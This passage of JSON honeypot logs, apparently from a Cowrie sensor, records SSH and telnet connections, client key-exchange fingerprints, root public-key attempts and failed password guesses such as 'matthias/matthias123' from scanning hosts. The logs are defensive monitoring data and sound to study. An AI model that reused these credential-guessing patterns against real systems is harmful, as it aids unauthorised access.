ha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:23:04.654277Z","src_ip":"51.79.177.223","session":"7a15ce40b51e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":59210,"dst_ip":"10.17.0.5","dst_port":23,"session":"24d20d782f2b","protocol":"telnet","message":"New connection: 50.6.3.16:59210 (10.17.0.5:23) [session: 24d20d782f2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:23:05.489522Z"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cd:f8:fc:cc:69:98:ba:ff:d5:16:03:b3:95:00:95:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCigW9eqK02emS0/bIzeN8PcuhaLdAUWtoGiXpqljt81CoWsV7czPP2RSP9UalctwqaH9WW43XNjqhG8DlWR50RJz4JelP0Tk0ULcvwkpu6Yx51xlg4r0WetFC/Gw+W4ICzZOTDKJqkb6FGBKMbBljCp+r3GelQh3rH/wKw1bkCcKDRPGrJmFt86fCG3dCnzvJQIdtZUM2bWrkbUiOB5pTVtDxEX/BoNQ9SO0YB6LK42YlSAeQ75bEhU0RORl7TbA0xpOE7hCjdjy+OKZcLA8aHSeUatyYZE6pgzB9dhm8Qz6xg4h9KGBRCZ9y+L4tQN6fNsXNup0PN4j29KvqloUIj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cd:f8:fc:cc:69:98:ba:ff:d5:16:03:b3:95:00:95:cf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:23:05.793001Z","src_ip":"51.79.177.223","session":"7a15ce40b51e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cd:f8:fc:cc:69:98:ba:ff:d5:16:03:b3:95:00:95:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCigW9eqK02emS0/bIzeN8PcuhaLdAUWtoGiXpqljt81CoWsV7czPP2RSP9UalctwqaH9WW43XNjqhG8DlWR50RJz4JelP0Tk0ULcvwkpu6Yx51xlg4r0WetFC/Gw+W4ICzZOTDKJqkb6FGBKMbBljCp+r3GelQh3rH/wKw1bkCcKDRPGrJmFt86fCG3dCnzvJQIdtZUM2bWrkbUiOB5pTVtDxEX/BoNQ9SO0YB6LK42YlSAeQ75bEhU0RORl7TbA0xpOE7hCjdjy+OKZcLA8aHSeUatyYZE6pgzB9dhm8Qz6xg4h9KGBRCZ9y+L4tQN6fNsXNup0PN4j29KvqloUIj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:23:05.797357Z","src_ip":"51.79.177.223","session":"7a15ce40b51e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a2:8a:13:8e:b7:51:7b:cd:19:b9:c3:03:2e:bb:78:c8","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIL+MTNTBDnVv5GvZ8Dthap3dsrktLMTVCw4gADu2qXss","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint a2:8a:13:8e:b7:51:7b:cd:19:b9:c3:03:2e:bb:78:c8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:23:06.031401Z","src_ip":"51.79.177.223","session":"7a15ce40b51e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a2:8a:13:8e:b7:51:7b:cd:19:b9:c3:03:2e:bb:78:c8","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIL+MTNTBDnVv5GvZ8Dthap3dsrktLMTVCw4gADu2qXss","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:23:06.035902Z","src_ip":"51.79.177.223","session":"7a15ce40b51e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.20133686065674,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:23:06.163044Z","src_ip":"50.6.3.16","session":"26a8f46b0a70","protocol":"telnet"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"21:61:7c:d8:35:a0:44:f9:40:d8:a2:43:1d:fc:8b:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDNah/B0KVr8wR25AzC3cxj46AUVlIMneZzHlAOrKvLqOD9M6XLi32WzkvGEQcP+SDodb1H6ol399yaBR671yGptSoCNbMJEHTDadfMpZh/QSAlorZ8VdOmFXwY6DDsgTuzmugvhCGSjgByx4/v771NCQYhIDxgHzVVIQD37F6h4+72fVvYtIwLyAj2FkD6F4dZGqB9jcKBMeRWEaBsBOFEmL7mBdAmyVOQlFOXyC080QgxqEhk7YZqYNPENXjHMdPpxURE6RFKssMbp7T7VRwtW9rxoMlJQ6mHcTDOEusIRs/9/zsFGqCnZDv4GKoLuG43/2rhnF3/iAnQ9w6qR0hmZHrEpdzmt55qFNrD4eF6Vn3wT02tUbmCBlQkbI/MU1td4qxRb+CI+Nto9cXNgbOu8vKXxdrLLXGR1NYl0hNMQVlT8kG+HmXr1IhIXWqhPCl27k2CIfKLID+1muf9HEhSAotm6rLzUbirqLruHZL9hX0rP78fXKy6ghYDWvqSUik=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 21:61:7c:d8:35:a0:44:f9:40:d8:a2:43:1d:fc:8b:6e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:23:06.273012Z","src_ip":"51.79.177.223","session":"7a15ce40b51e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"21:61:7c:d8:35:a0:44:f9:40:d8:a2:43:1d:fc:8b:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDNah/B0KVr8wR25AzC3cxj46AUVlIMneZzHlAOrKvLqOD9M6XLi32WzkvGEQcP+SDodb1H6ol399yaBR671yGptSoCNbMJEHTDadfMpZh/QSAlorZ8VdOmFXwY6DDsgTuzmugvhCGSjgByx4/v771NCQYhIDxgHzVVIQD37F6h4+72fVvYtIwLyAj2FkD6F4dZGqB9jcKBMeRWEaBsBOFEmL7mBdAmyVOQlFOXyC080QgxqEhk7YZqYNPENXjHMdPpxURE6RFKssMbp7T7VRwtW9rxoMlJQ6mHcTDOEusIRs/9/zsFGqCnZDv4GKoLuG43/2rhnF3/iAnQ9w6qR0hmZHrEpdzmt55qFNrD4eF6Vn3wT02tUbmCBlQkbI/MU1td4qxRb+CI+Nto9cXNgbOu8vKXxdrLLXGR1NYl0hNMQVlT8kG+HmXr1IhIXWqhPCl27k2CIfKLID+1muf9HEhSAotm6rLzUbirqLruHZL9hX0rP78fXKy6ghYDWvqSUik=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:23:06.276828Z","src_ip":"51.79.177.223","session":"7a15ce40b51e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"47:3f:75:ac:d9:05:b3:0c:16:b8:cd:58:d7:c2:61:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqjPplK1uw+cNFblLyHxEK2+mpwsdqp6Rs1t9lKrOSJM08N4w3XmlBxpfSDYD/EhxXoMKbD/1wl+KBy859e4YxwmhvULpUq34Jh+teFae6MEiNGXO2v7kzDK0ULRWF0Xwh/ADfTFjXEA/TllPO7vskHyASndHEEYeYRbNhKBZX2Pu86IV5JqYhd2MkvvRiwxE3veapnYw3xy6s6Asc8E7dlkxQgrTdL5Rm+0yORv2LmQ1pcCeyenIG//FALF5n+K/z+ic5xQmvD6W5agdqvn9S1skvfHOJXa9YOOHxfIvCRqh1pkU/COYENNdOIStBVDwYraNaBTIgRuiC/Gy3iPohw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 47:3f:75:ac:d9:05:b3:0c:16:b8:cd:58:d7:c2:61:3b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:23:06.513628Z","src_ip":"51.79.177.223","session":"7a15ce40b51e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"47:3f:75:ac:d9:05:b3:0c:16:b8:cd:58:d7:c2:61:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqjPplK1uw+cNFblLyHxEK2+mpwsdqp6Rs1t9lKrOSJM08N4w3XmlBxpfSDYD/EhxXoMKbD/1wl+KBy859e4YxwmhvULpUq34Jh+teFae6MEiNGXO2v7kzDK0ULRWF0Xwh/ADfTFjXEA/TllPO7vskHyASndHEEYeYRbNhKBZX2Pu86IV5JqYhd2MkvvRiwxE3veapnYw3xy6s6Asc8E7dlkxQgrTdL5Rm+0yORv2LmQ1pcCeyenIG//FALF5n+K/z+ic5xQmvD6W5agdqvn9S1skvfHOJXa9YOOHxfIvCRqh1pkU/COYENNdOIStBVDwYraNaBTIgRuiC/Gy3iPohw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:23:06.517891Z","src_ip":"51.79.177.223","session":"7a15ce40b51e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":59216,"dst_ip":"10.17.0.5","dst_port":23,"session":"53f2ba65f31a","protocol":"telnet","message":"New connection: 50.6.3.16:59216 (10.17.0.5:23) [session: 53f2ba65f31a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:23:06.566726Z"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2b:52:d4:ba:e3:37:4d:70:5c:6a:b1:52:2e:ab:bb:35","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/nlggRIc8+ps9/RxZTSyytOxDpsGgowozVt5sQfvqcOBWVkKX/LCYFbcEKbiSOROvxktHeIKT/D5A9zqeCqfRrZhBuX9c2hJvLdtcYmB4JjrsefPfw/j7Iu1F0hvl6d/7KcQuLzERcWcmBYgL7oKkNp6d8G49qTQfz+bX6FfdSscQ9P9qKZ3vhWnC33+W/wuSC9oqMQw/pZbARB8s4vRY6wMgw1PRRRwWzU5wCFC4uBbrolAmdyNiXK5zXyaewpWz631Eb45MLgnWpZ0WgLgn2xMCOk3r0cFJKPmJRWt5AW12CHuseMdvxgtxCJKUgZLBnQ6kemWXzkszHWS0Kphp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2b:52:d4:ba:e3:37:4d:70:5c:6a:b1:52:2e:ab:bb:35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:23:06.751095Z","src_ip":"51.79.177.223","session":"7a15ce40b51e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2b:52:d4:ba:e3:37:4d:70:5c:6a:b1:52:2e:ab:bb:35","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/nlggRIc8+ps9/RxZTSyytOxDpsGgowozVt5sQfvqcOBWVkKX/LCYFbcEKbiSOROvxktHeIKT/D5A9zqeCqfRrZhBuX9c2hJvLdtcYmB4JjrsefPfw/j7Iu1F0hvl6d/7KcQuLzERcWcmBYgL7oKkNp6d8G49qTQfz+bX6FfdSscQ9P9qKZ3vhWnC33+W/wuSC9oqMQw/pZbARB8s4vRY6wMgw1PRRRwWzU5wCFC4uBbrolAmdyNiXK5zXyaewpWz631Eb45MLgnWpZ0WgLgn2xMCOk3r0cFJKPmJRWt5AW12CHuseMdvxgtxCJKUgZLBnQ6kemWXzkszHWS0Kphp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:23:06.755783Z","src_ip":"51.79.177.223","session":"7a15ce40b51e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:23:06.989352Z","src_ip":"51.79.177.223","session":"7a15ce40b51e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":53146,"dst_ip":"10.17.0.5","dst_port":23,"session":"4851bee56826","protocol":"telnet","message":"New connection: 50.6.3.16:53146 (10.17.0.5:23) [session: 4851bee56826]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:23:28.657359Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":53162,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8c446f23906","protocol":"telnet","message":"New connection: 50.6.3.16:53162 (10.17.0.5:23) [session: d8c446f23906]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:23:31.712878Z"}
{"eventid":"cowrie.session.closed","duration":30.6762478351593,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:23:36.165647Z","src_ip":"50.6.3.16","session":"24d20d782f2b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.751465559005737,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:23:38.318075Z","src_ip":"50.6.3.16","session":"53f2ba65f31a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":50536,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e2d767c61d7","protocol":"telnet","message":"New connection: 50.6.3.16:50536 (10.17.0.5:23) [session: 7e2d767c61d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:23:53.788807Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":50542,"dst_ip":"10.17.0.5","dst_port":23,"session":"041124318538","protocol":"telnet","message":"New connection: 50.6.3.16:50542 (10.17.0.5:23) [session: 041124318538]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:23:56.424671Z"}
{"eventid":"cowrie.session.closed","duration":31.45700216293335,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:24:00.114256Z","src_ip":"50.6.3.16","session":"4851bee56826","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.067898273468018,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:24:02.780670Z","src_ip":"50.6.3.16","session":"d8c446f23906","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"4.213.160.153","src_port":46872,"dst_ip":"159.203.135.109","dst_port":22,"session":"b049ed5c9f0f","protocol":"ssh","message":"New connection: 4.213.160.153:46872 (159.203.135.109:22) [session: b049ed5c9f0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:24:10.402460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:24:10.408082Z","src_ip":"4.213.160.153","session":"b049ed5c9f0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:24:10.613528Z","src_ip":"4.213.160.153","session":"b049ed5c9f0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"qwer1234","message":"login attempt [test/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:24:11.448920Z","src_ip":"4.213.160.153","session":"b049ed5c9f0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:24:12.645024Z","src_ip":"4.213.160.153","session":"b049ed5c9f0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":33821,"dst_ip":"159.203.135.109","dst_port":22,"session":"16a20d537c68","protocol":"ssh","message":"New connection: 213.209.159.56:33821 (159.203.135.109:22) [session: 16a20d537c68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:24:23.892705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:24:23.898195Z","src_ip":"213.209.159.56","session":"16a20d537c68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:24:23.980310Z","src_ip":"213.209.159.56","session":"16a20d537c68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"matthias","password":"matthias","message":"login attempt [matthias/matthias] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:24:24.379874Z","src_ip":"213.209.159.56","session":"16a20d537c68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.089979887008667,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:24:24.878680Z","src_ip":"50.6.3.16","session":"7e2d767c61d7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"matthias","password":"matthias1","message":"login attempt [matthias/matthias1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:24:25.464967Z","src_ip":"213.209.159.56","session":"16a20d537c68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"matthias","password":"matthias123","message":"login attempt [matthias/matthias123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:24:26.549324Z","src_ip":"213.209.159.56","session":"16a20d537c68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.68476939201355,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:24:27.109313Z","src_ip":"50.6.3.16","session":"041124318538","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"matthias","password":"matthias1234","message":"login attempt [matthias/matthias1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:24:27.633403Z","src_ip":"213.209.159.56","session":"16a20d537c68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"matthias","password":"matthias12345","message":"login attempt [matthias/matthias12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:24:28.719258Z","src_ip":"213.209.159.56","session":"16a20d537c68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:24:29.804780Z","src_ip":"213.209.159.56","session":"16a20d537c68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":43154,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a2d8e6e4b50","protocol":"telnet","message":"New connection: 50.6.3.16:43154 (10.17.0.5:23) [session: 8a2d8e6e4b50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:24:32.330915Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":43170,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2b3b721873c","protocol":"telnet","message":"New connection: 50.6.3.16:43170 (10.17.0.5:23) [session: d2b3b721873c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:24:33.266998Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":47352,"dst_ip":"10.17.0.5","dst_port":23,"session":"58c05072e9fc","protocol":"telnet","message":"New connection: 50.6.3.16:47352 (10.17.0.5:23) [session: 58c05072e9fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:24:41.079764Z"}
{"eventid":"cowrie.session.closed","duration":120.0016188621521,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:24:41.987250Z","src_ip":"38.25.25.113","session":"c497108f4b1f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":47366,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ab8fd7a20f8","protocol":"telnet","message":"New connection: 50.6.3.16:47366 (10.17.0.5:23) [session: 5ab8fd7a20f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:24:42.463662Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.25.25.113","src_port":16864,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a918e1f12ec","protocol":"telnet","message":"New connection: 38.25.25.113:16864 (10.17.0.5:23) [session: 7a918e1f12ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:24:43.207791Z"}
{"eventid":"cowrie.session.closed","duration":120.00189304351807,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:24:43.740910Z","src_ip":"38.25.25.113","session":"615b161134bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":38752,"dst_ip":"10.17.0.5","dst_port":23,"session":"5539f4212db7","protocol":"telnet","message":"New connection: 50.6.3.16:38752 (10.17.0.5:23) [session: 5539f4212db7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:24:48.947188Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.36.22.53","src_port":4198,"dst_ip":"10.17.0.5","dst_port":23,"session":"46341eabee53","protocol":"telnet","message":"New connection: 51.36.22.53:4198 (10.17.0.5:23) [session: 46341eabee53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:24:52.139180Z"}
